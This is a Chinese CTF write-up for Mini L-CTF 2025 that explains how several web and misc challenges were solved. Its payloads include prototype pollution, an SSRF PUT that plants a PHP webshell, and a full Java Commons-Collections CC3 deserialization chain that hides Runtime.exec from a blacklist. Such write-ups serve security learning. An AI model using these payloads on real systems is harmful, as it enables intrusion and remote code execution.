Mini L-CTF 2025
前言
队伍 :那年的夏日没等到你
RANK :6
Misc
吃豆人
审计game.js代码
看到逻辑,通过对submit_score发包,达到分数其返回flag,
我们直接控制台fetch
fetch('/submit_score', {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ score: 5000 })
})
.then(response => response.json())
.then(data => {
if (data.flag) {
alert("🎉 恭喜!你的flag是:" + data.flag);
} else {
alert("未达到指定分数!");
}
});
麦霸评分
额发现源音频路径http://127.0.0.1:43762/original.wav
亲测,下载下来再传上去不能达到100%匹配,不知道为什么qwq
我们审查源码script逻辑,发现/compare-recording通过对两音频的比较,flag居然和匹配度没有关系.........他的逻辑是如果有flag则显示flag..........
flag藏在上传音频的data里面aaaaaa
我们这里溯源formData,传入了audioBlob,这里上传的是recording.wav,我们需要将original.wav替换recording.wav
再往上看audioBlob的源头,我们从这里入手,让服务器本地fetch其original.wav的路径,然后将其存入audioBlob,然后再传给/compare-recording
payload1:我们创建original.wav的Blob对象
const response = await fetch('/original.wav');
const audioBlob = await response.blob();
console.log(audioBlob);
payload2:传入/compare-recording
const formData = new FormData();
formData.append('audio', audioBlob, '/original.wav');
fetch('/compare-recording', {
method: 'POST',
body: formData
})
.then(response => {
// 检查响应状态
if (!response.ok) {
throw new Error(`服务器响应错误: ${response.status} ${response.statusText}`);
}
return response.json();
})
.then(data => {
// 隐藏加载状态
loader.style.display = 'none';
// 如果成功获取到录音文件名,保存它
if (data.filename) {
currentRecordingFilename = data.filename;
}
// 显示匹配度
const similarity = parseFloat(data.similarity);
similarityValue.style.width = `${similarity}%`;
// 显示结果
result.textContent = `匹配度: ${similarity.toFixed(2)}% - ${data.message}`;
result.style.display = 'block';
// 根据匹配度设置不同的样式
result.className = 'result';
if (similarity >= 98) {
result.classList.add('result-perfect');
} else if (similarity >= 85) {
result.classList.add('result-high');
} else if (similarity >= 70) {
result.classList.add('result-medium');
} else {
result.classList.add('result-low');
}
// 如果有FLAG,显示FLAG弹窗
if (data.flag) {
showFlagModal(data.flag);
}
})
最后拿到flag
Web
Click and Click
js带混淆,需要一点点的逆向吧,前端其他的不管,可以自己逆向,前端点击1000次和10000次触发的东西
这里我们看重要的,这里每点击50次会向/update-amount发一次包,更新后端数据,而且这里更新不是add而是set
当amount >= 1000时会触发点击过快,而amount >=10000时才返回flag,这很矛盾,我们看click,我们再看10000次点击前端的提示
这里一开始就是0,amount已经被删除,而后端要读取amount要在往上层去读取,可以打proto原型链污染让他取原型链的值来实现绕过
payload: POST请求/update-amount
{
"type":"set",
"point": {
"__proto__": {
"amount": "10000"
}
}
}
GuessOneGuess
一个纯js题目
下载源码看game-ws.js逻辑
这在js里面如果要大于这个数就是要无限大,我们要普通达到这个分数是不可能的,我们要想办法更改分数为Infinity,才能使这个if通过,使得showFlag
我们看game.pug,这里socket打开了一个punishment连接,向punishment-response后端发送分数,这里分数是scoreDisplay.textContent,这个我们前端是可以改的
我们看回game-ws.js后端,这里猜测次数>=100次会向前端punishment发送message,会重置分数,后端重置分数的逻辑是punishment-response收到请求后totalscore = totalscore-data.score,其中data.score是前端数据传来的,则我们只要一直猜不对,totalscore就会是0,而如果我们在第99次时修改前端score,使得data.score=-Infinity,则后端在第100次重置分数时,totalscore就会等于Infinity,满足了第一个if逻辑从而得到flag
payload:在第99次时在控制台修改前端的score,然后再触发第100次导致重置分数使得分数等于Infinity
document.getElementById('score-display').textContent = -Infinity
MiniUp
这里一开始我跑偏了,看到有dufs,而且是内网,以为要机器人读fetch dufs查询根目录的带有f的文件,然后读取,结果后来发现dufs没有路径穿越,只能通过软连接实现穿越,但是又没有zip解压那种软连接功能上传,所以我想应该是其他方向
这里一开始,我们看查看图片有文件泄露,他逻辑是以将文件以base64编码,然后用base64编码图片展示,我们可以获取源码
index.php
<?php
$dufs_host = '127.0.0.1';
$dufs_port = '5000';
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'upload') {
if (isset($_FILES['file'])) {
$file = $_FILES['file'];
$filename = $file['name'];
$allowed_extensions = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp'];
$file_extension = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
if (!in_array($file_extension, $allowed_extensions)) {
echo json_encode(['success' => false, 'message' => '只允许上传图片文件']);
exit;
}
$target_url = 'http://' . $dufs_host . ':' . $dufs_port . '/' . rawurlencode($filename);
$file_content = file_get_contents($file['tmp_name']);
$ch = curl_init($target_url);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'PUT');
curl_setopt($ch, CURLOPT_POSTFIELDS, $file_content);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Host: ' . $dufs_host . ':' . $dufs_port,
'Origin: http://' . $dufs_host . ':' . $dufs_port,
'Referer: http://' . $dufs_host . ':' . $dufs_port . '/',
'Accept-Encoding: gzip, deflate',
'Accept: */*',
'Accept-Language: en,zh-CN;q=0.9,zh;q=0.8',
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36',
'Content-Length: ' . strlen($file_content)
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code >= 200 && $http_code < 300) {
echo json_encode(['success' => true, 'message' => '图片上传成功']);
} else {
echo json_encode(['success' => false, 'message' => '图片上传失败,请稍后再试']);
}
exit;
} else {
echo json_encode(['success' => false, 'message' => '未选择图片']);
exit;
}
}
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'search') {
if (isset($_POST['query']) && !empty($_POST['query'])) {
$search_query = $_POST['query'];
if (!ctype_alnum($search_query)) {
echo json_encode(['success' => false, 'message' => '只允许输入数字和字母']);
exit;
}
$search_url = 'http://' . $dufs_host . ':' . $dufs_port . '/?q=' . urlencode($search_query) . '&json';
$ch = curl_init($search_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Host: ' . $dufs_host . ':' . $dufs_port,
'Accept: */*',
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36'
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code >= 200 && $http_code < 300) {
$response_data = json_decode($response, true);
if (isset($response_data['paths']) && is_array($response_data['paths'])) {
$image_extensions = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp'];
$filtered_paths = [];
foreach ($response_data['paths'] as $item) {
$file_name = $item['name'];
$extension = strtolower(pathinfo($file_name, PATHINFO_EXTENSION));
if (in_array($extension, $image_extensions) || ($item['path_type'] === 'Directory')) {
$filtered_paths[] = $item;
}
}
$response_data['paths'] = $filtered_paths;
echo json_encode(['success' => true, 'result' => json_encode($response_data)]);
} else {
echo json_encode(['success' => true, 'result' => $response]);
}
} else {
echo json_encode(['success' => false, 'message' => '搜索失败,请稍后再试']);
}
exit;
} else {
echo json_encode(['success' => false, 'message' => '请输入搜索关键词']);
exit;
}
}
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'view') {
if (isset($_POST['filename']) && !empty($_POST['filename'])) {
$filename = $_POST['filename'];
$file_content = @file_get_contents($filename, false, @stream_context_create($_POST['options']));
if ($file_content !== false) {
$base64_image = base64_encode($file_content);
$mime_type = 'image/jpeg';
echo json_encode([
'success' => true,
'is_image' => true,
'base64_data' => 'data:' . $mime_type . ';base64,' . $base64_image
]);
} else {
echo json_encode(['success' => false, 'message' => '无法获取图片']);
}
exit;
} else {
echo json_encode(['success' => false, 'message' => '请输入图片路径']);
exit;
}
}
?>
<!DOCTYPE html>
<html>
<head>
<title>迷你图片空间</title>
<meta charset="UTF-8">
<style>
body {
font-family: Arial, sans-serif;
max-width: 800px;
margin: 0 auto;
padding: 20px;
background-color: #f0f8ff;
}
.section {
margin-bottom: 30px;
padding: 15px;
border: 1px solid #add8e6;
border-radius: 5px;
background-color: white;
box-shadow: 0 2px 5px rgba(0,0,0,0.1);
}
h2 {
margin-top: 0;
color: #4682b4;
}
.form-group {
margin-bottom: 15px;
}
label {
display: block;
margin-bottom: 5px;
font-weight: bold;
color: #4682b4;
}
input[type="text"], input[type="file"] {
width: 100%;
padding: 8px;
box-sizing: border-box;
border: 1px solid #add8e6;
border-radius: 4px;
}
button {
padding: 10px 15px;
background-color: #4682b4;
color: white;
border: none;
border-radius: 4px;
cursor: pointer;
}
button:hover {
background-color: #5f9ea0;
}
.result {
margin-top: 15px;
padding: 10px;
border: 1px solid #add8e6;
border-radius: 4px;
background-color: #f0f8ff;
display: none;
}
pre {
white-space: pre-wrap;
word-wrap: break-word;
background-color: #f5f5f5;
padding: 10px;
border-radius: 4px;
max-height: 300px;
overflow-y: auto;
}
</style>
</head>
<body>
<h1>迷你图片空间</h1>
<div class="section">
<h2>上传图片</h2>
<form id="uploadForm" enctype="multipart/form-data">
<input type="hidden" name="action" value="upload">
<div class="form-group">
<label for="file">选择图片:</label>
<input type="file" id="file" name="file" required>
<small>支持所有类型的图片</small>
</div>
<button type="submit">上传图片</button>
</form>
<div id="uploadResult" class="result"></div>
</div>
<div class="section">
<h2>搜索图片</h2>
<form id="searchForm">
<input type="hidden" name="action" value="search">
<div class="form-group">
<label for="query">搜索关键词:</label>
<input type="text" id="query" name="query" required
pattern="[a-zA-Z0-9]+"
title="只允许输入数字和字母"
placeholder="输入图片关键词(仅限数字和字母)">
</div>
<button type="submit">搜索</button>
</form>
<div id="searchResult" class="result">
<h3>搜索结果:</h3>
<div id="searchResultContent"></div>
</div>
</div>
<div class="section">
<h2>查看图片</h2>
<form id="viewForm">
<input type="hidden" name="action" value="view">
<div class="form-group">
<label for="filename">图片路径:</label>
<input type="text" id="filename" name="filename" required placeholder="输入图片路径">
</div>
<button type="submit">查看图片</button>
</form>
<div id="viewResult" class="result">
<h3>图片预览:</h3>
<div id="fileContent"></div>
</div>
</div>
<script>
document.getElementById('uploadForm').addEventListener('submit', function(e) {
e.preventDefault();
var formData = new FormData(this);
fetch('index.php', {
method: 'POST',
body: formData
})
.then(response => response.json())
.then(data => {
var resultDiv = document.getElementById('uploadResult');
resultDiv.style.display = 'block';
resultDiv.innerHTML = data.message;
resultDiv.style.color = data.success ? 'green' : 'red';
})
.catch(error => {
var resultDiv = document.getElementById('uploadResult');
resultDiv.style.display = 'block';
resultDiv.innerHTML = '上传过程中发生错误';
resultDiv.style.color = 'red';
});
});
document.getElementById('searchForm').addEventListener('submit', function(e) {
e.preventDefault();
var searchQuery = document.getElementById('query').value;
var alphanumericRegex = /^[a-zA-Z0-9]+$/;
if (!alphanumericRegex.test(searchQuery)) {
var resultDiv = document.getElementById('searchResult');
resultDiv.style.display = 'block';
document.getElementById('searchResultContent').innerHTML = '<p style="color: red;">只允许输入数字和字母</p>';
return;
}
var formData = new FormData(this);
fetch('index.php', {
method: 'POST',
body: formData
})
.then(response => response.json())
.then(data => {
var resultDiv = document.getElementById('searchResult');
resultDiv.style.display = 'block';
if (data.success) {
try {
var jsonData = JSON.parse(data.result);
if (jsonData.paths && jsonData.paths.length > 0) {
var resultHtml = '<table style="width:100%; border-collapse: collapse;">';
resultHtml += '<thead><tr style="background-color: #f2f2f2;">';
resultHtml += '<th style="text-align: left; padding: 8px; border: 1px solid #ddd;">名称</th>';
resultHtml += '<th style="text-align: left; padding: 8px; border: 1px solid #ddd;">修改时间</th>';
resultHtml += '<th style="text-align: left; padding: 8px; border: 1px solid #ddd;">大小</th>';
resultHtml += '<th style="text-align: left; padding: 8px; border: 1px solid #ddd;">操作</th>';
resultHtml += '</tr></thead><tbody>';
jsonData.paths.forEach(function(item) {
var date = new Date(item.mtime);
var formattedDate = date.toLocaleString();
var fileSize = formatFileSize(item.size);
resultHtml += '<tr style="border: 1px solid #ddd;">';
resultHtml += '<td style="padding: 8px; border: 1px solid #ddd;">' + item.name + '</td>';
resultHtml += '<td style="padding: 8px; border: 1px solid #ddd;">' + formattedDate + '</td>';
resultHtml += '<td style="padding: 8px; border: 1px solid #ddd;">' + fileSize + '</td>';
resultHtml += '<td style="padding: 8px; border: 1px solid #ddd;">';
resultHtml += '<button onclick="viewFile(\'' + item.name + '\')" style="margin-right: 5px;">查看</button>';
resultHtml += '</td></tr>';
});
resultHtml += '</tbody></table>';
document.getElementById('searchResultContent').innerHTML = resultHtml;
} else {
document.getElementById('searchResultContent').innerHTML = '<p>没有找到匹配的图片</p>';
}
} catch (e) {
document.getElementById('searchResultContent').innerHTML = '<p>解析结果时出错</p>';
}
} else {
document.getElementById('searchResultContent').innerHTML = '<p>错误: ' + data.message + '</p>';
}
})
.catch(error => {
var resultDiv = document.getElementById('searchResult');
resultDiv.style.display = 'block';
document.getElementById('searchResultContent').innerHTML = '<p>搜索过程中发生错误</p>';
});
});
document.getElementById('viewForm').addEventListener('submit', function(e) {
e.preventDefault();
var formData = new FormData(this);
fetch('index.php', {
method: 'POST',
body: formData
})
.then(response => response.json())
.then(data => {
var resultDiv = document.getElementById('viewResult');
resultDiv.style.display = 'block';
if (data.success) {
var fileContentDiv = document.getElementById('fileContent');
fileContentDiv.textContent = '';
var img = document.createElement('img');
img.src = data.base64_data;
img.style.maxWidth = '100%';
img.style.display = 'block';
img.style.margin = '0 auto';
fileContentDiv.appendChild(img);
} else {
document.getElementById('fileContent').textContent = '错误: ' + data.message;
}
})
.catch(error => {
console.error('错误:', error);
var resultDiv = document.getElementById('viewResult');
resultDiv.style.display = 'block';
document.getElementById('fileContent').textContent = '获取图片时发生错误';
});
});
function formatFileSize(bytes) {
if (bytes === 0) return '0 B';
const k = 1024;
const sizes = ['B', 'KB', 'MB', 'GB', 'TB'];
const i = Math.floor(Math.log(bytes) / Math.log(k));
return parseFloat((bytes / Math.pow(k, i)).toFixed(2)) + ' ' + sizes[i];
}
function viewFile(filename) {
document.getElementById('filename').value = filename;
document.getElementById('viewForm').dispatchEvent(new Event('submit'));
}
</script>
</body>
</html>
这里上传严格限制基本没有可以绕过的点,所以排除文件上传漏洞
这里我们看有dufs服务作为文件存储,再看最后查看图片的file_get_contents方法,有stream_context_create可以仿真http请求,也就是说前面的filename如果是url,后面的参数可以仿真其请求,我们根据前面的代码可以知道dufs大概的创建文件逻辑,我们目的就是要创建一个内存马
这里创建文件的逻辑是,PUT请求http://127.0.0.1:5000/filename
filename是你要创建的文件名称
则我们就post请求
参数如下
action=view&filename=http://127.0.0.1:5000/shell.php&options[http][method]=PUT&options[http][content]=<?php system($_GET['a']);?>
ezCC
动态cc链就只有cc3了,这个因为不出网,所以我只打通了本地,也知道如何回显,就是访问/handle,让其命令执行的内容返回到context评论,通过评论读回显,但是发现命令curl也没有,因为比赛最后时刻就没有搞了,这里就只展示其rce的cc3链
依赖
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.27.0-GA</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
看其blacklist,设置了两个,第一个基本ban了命令执行rce,第二个把cc3常用的chainedtransformer ban了
index这里,在deserialize处理数据,payload,还有长度限制,内存马好像不太行
这里利用链
HashMap#readObject()
↓
TiedMapEntry#hashCode()
↓
LazyMap#get()
↓
InvokerTransformer#transform()
↓
TemplatesImpl#newTransformer()
↓
TemplatesImpl#getTransletInstance()
↓
恶意类
poc(CC3)
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class CC3 {
public static void main(String[] args) throws Exception {
byte[] evilCode = generateEvilClass();
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{evilCode});
setFieldValue(templates, "_name", "a");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
InvokerTransformer transformer = new InvokerTransformer(
"getOutputProperties", new Class[0], new Object[0]);
Map lazyMap = LazyMap.decorate(new HashMap(), transformer);
TiedMapEntry entry = new TiedMapEntry(lazyMap, templates);
HashSet hashSet = new HashSet(1);
hashSet.add("foo");
Field field = HashSet.class.getDeclaredField("map");
field.setAccessible(true);
HashMap hashSetMap = (HashMap) field.get(hashSet);
Field tableField = HashMap.class.getDeclaredField("table");
tableField.setAccessible(true);
Object[] table = (Object[]) tableField.get(hashSetMap);
Object node = table[0];
if(node == null) {
node = table[1];
}
Field keyField = node.getClass().getDeclaredField("key");
keyField.setAccessible(true);
keyField.set(node, entry);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(hashSet);
oos.close();
String base64 = java.util.Base64.getEncoder().encodeToString(baos.toByteArray());
System.out.println(base64);
byte[] bytes = Base64.getDecoder().decode(base64);
}
private static byte[] generateEvilClass() throws Exception {
byte[] code = Files.readAllBytes(Paths.get("target/classes/org/example/runtime.class"));
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass(new ByteArrayInputStream(code));
// 确保父类设置
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
return cc.toBytecode();
}
private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void des_normal(String payload) throws Exception {
byte[] bytes = Base64.getDecoder().decode(payload);
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(bytes));
objectInputStream.readObject();
}
}
poc(恶意类runtime.class)
package org.example;
public class runtime {
static {
try {
// 十六进制
String className = new String(new byte[]{
0x6a, 0x61, 0x76, 0x61, 0x2e, 0x6c, 0x61, 0x6e, 0x67, 0x2e, 0x52, 0x75, 0x6e, 0x74, 0x69, 0x6d, 0x65
}); // "java.lang.Runtime"
Class<?> clazz = Class.forName(className);
Object runtime = clazz.getMethod(
new String(new byte[]{0x67, 0x65, 0x74, 0x52, 0x75, 0x6e, 0x74, 0x69, 0x6d, 0x65}) // "getRuntime"
).invoke(null);
clazz.getMethod(
new String(new byte[]{0x65, 0x78, 0x65, 0x63}), // "exec"
String.class
).invoke(runtime, "curl -X POST -d \"data=$(ls /)\" http://127.0.0.1:8080/handle");
} catch (Exception e) {
e.printStackTrace();
}
}
}
这里恶意类利用了十六进制混淆runtime,使其绕过第一个blacklist
这里只展示rce,具体获得flag,请各位大佬自行研究
附IndexController.class
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.example.controller;
import com.example.Components.Comment;
import com.example.tools.BlackList;
import com.example.tools.ByteArrayToStringExtractor;
import com.example.tools.Tools;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
import java.util.Set;
import javax.servlet.http.HttpServletRequest;
import org.springframework.core.io.FileSystemResource;
import org.springframework.core.io.Resource;
import org.springframework.http.HttpHeaders;
import org.springframework.http.MediaType;
import org.springframework.http.ResponseEntity;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
public class IndexController {
public ArrayList<Comment> comments = new ArrayList();
public BlackList bl = new BlackList();
Set<String> blacklist;
public IndexController() {
this.blacklist = this.bl.blacklist;
}
@RequestMapping({"/"})
@ResponseBody
public String index(HttpServletRequest request) {
return "<html><head><style>body { font-family: Arial, sans-serif; background-color: #f0f0f0; padding: 20px; }.container { max-width: 600px; margin: 0 auto; background: white; padding: 20px; border-radius: 8px; box-shadow: 0 0 10px rgba(0,0,0,0.1); }h1 { color: #333; }form { margin-top: 20px; }label { display: block; margin-bottom: 8px; }input[type='text'] { width: 100%; padding: 8px; margin-bottom: 10px; border: 1px solid #ccc; border-radius: 4px; }input[type='submit'] { background-color: #4CAF50; color: white; padding: 10px 20px; border: none; border-radius: 4px; cursor: pointer; }input[type='submit']:hover { background-color: #45a049; }</style></head><body><div class='container'><h1>Welcome to miniLCTF 2025~</h1><p>Do you really know the CC?</p><form action='/handle' method='post'> <label for='data'>Enter data:</label> <input type='text' id='data' name='data'> <input type='submit' value='Submit'></form></div></body></html>";
}
@PostMapping({"/handle"})
public String ser(String data) throws Exception {
Comment new_comment = new Comment(data);
byte[] comments_code = Tools.serialize(new_comment);
String comments_str = Tools.base64Encode(comments_code);
this.deser(comments_str);
return "redirect:/show";
}
@RequestMapping({"/deserialize"})
@ResponseBody
public void deser(String data) throws Exception {
if (data.length() > 6000) {
throw new Exception("Payload too long");
} else {
byte[] comments_code = Tools.base64Decode(data);
List<String> result = ByteArrayToStringExtractor.extractVisibleStrings(comments_code);
for(String i : this.blacklist) {
for(String s : result) {
if (s.contains(i)) {
throw new Exception("Forbidden blacklist");
}
}
}
try {
Comment trans_comment = (Comment)Tools.deserialize(comments_code);
this.comments.add(trans_comment);
} catch (Exception e) {
e.printStackTrace();
}
}
}
@RequestMapping({"/show"})
@ResponseBody
public String show(HttpServletRequest request) throws Exception {
StringBuilder htmlBuilder = new StringBuilder();
htmlBuilder.append("<html><head><style>").append("body { font-family: Arial, sans-serif; background-color: #f0f0f0; padding: 20px; }").append(".container { max-width: 800px; margin: 0 auto; background: white; padding: 20px; border-radius: 8px; box-shadow: 0 0 10px rgba(0,0,0,0.1); }").append("h1 { color: #333; }").append("ul { list-style-type: none; padding: 0; }").append("li { margin-bottom: 10px; padding: 10px; background-color: #f9f9f9; border-radius: 4px; }").append(".comment-text { font-weight: bold; }").append(".comment-time { color: #666; font-size: 0.9em; }").append("</style></head><body>").append("<div class='container'>").append("<h1>Comments</h1>");
if (this.comments.isEmpty()) {
htmlBuilder.append("<p>No comments yet.</p>");
} else {
htmlBuilder.append("<ul>");
for(Comment comment : this.comments) {
htmlBuilder.append("<li>").append("<span class='comment-text'>").append(comment.getText()).append("</span>").append("<br>").append("<span class='comment-time'>From: ").append(comment.getFormattedTimestamp()).append("</span>").append("</li>");
}
htmlBuilder.append("</ul>");
}
htmlBuilder.append("</div></body></html>");
return htmlBuilder.toString();
}
@RequestMapping({"/secret"})
@ResponseBody
public ResponseEntity<Resource> secret(HttpServletRequest request) throws IOException {
String path = "/app/final.jar";
Resource resource = new FileSystemResource(path);
if (resource.exists() && resource.isReadable()) {
HttpHeaders headers = new HttpHeaders();
headers.add("Content-Disposition", "attachment; filename=\"" + resource.getFilename() + "\"");
return ((ResponseEntity.BodyBuilder)ResponseEntity.ok().headers(headers)).contentLength(resource.contentLength()).contentType(MediaType.APPLICATION_OCTET_STREAM).body(resource);
} else {
return ResponseEntity.notFound().build();
}
}
}
结尾
MiniL还是很不错的,可惜这次没打pybox,后面复现一下吧,java接触的少,所以到最后时间不够了,燃尽了.......
这次题目偏js多一点,甚至misc都出了两个js题目,额怎么说呢,misc手快成全栈✌了,我web要失业了呜呜呜呜
总体来说应该没有什么错误,如果有些地方写的没有到位或者有错误,还请各位大佬多多指出 Orz
文章标题:西电Mini L-CTF 2025 Web+部分Misc WriteUp
文章链接:https://www.cnup.top/?post=124
本站文章均为原创,未经授权请勿用于任何商业用途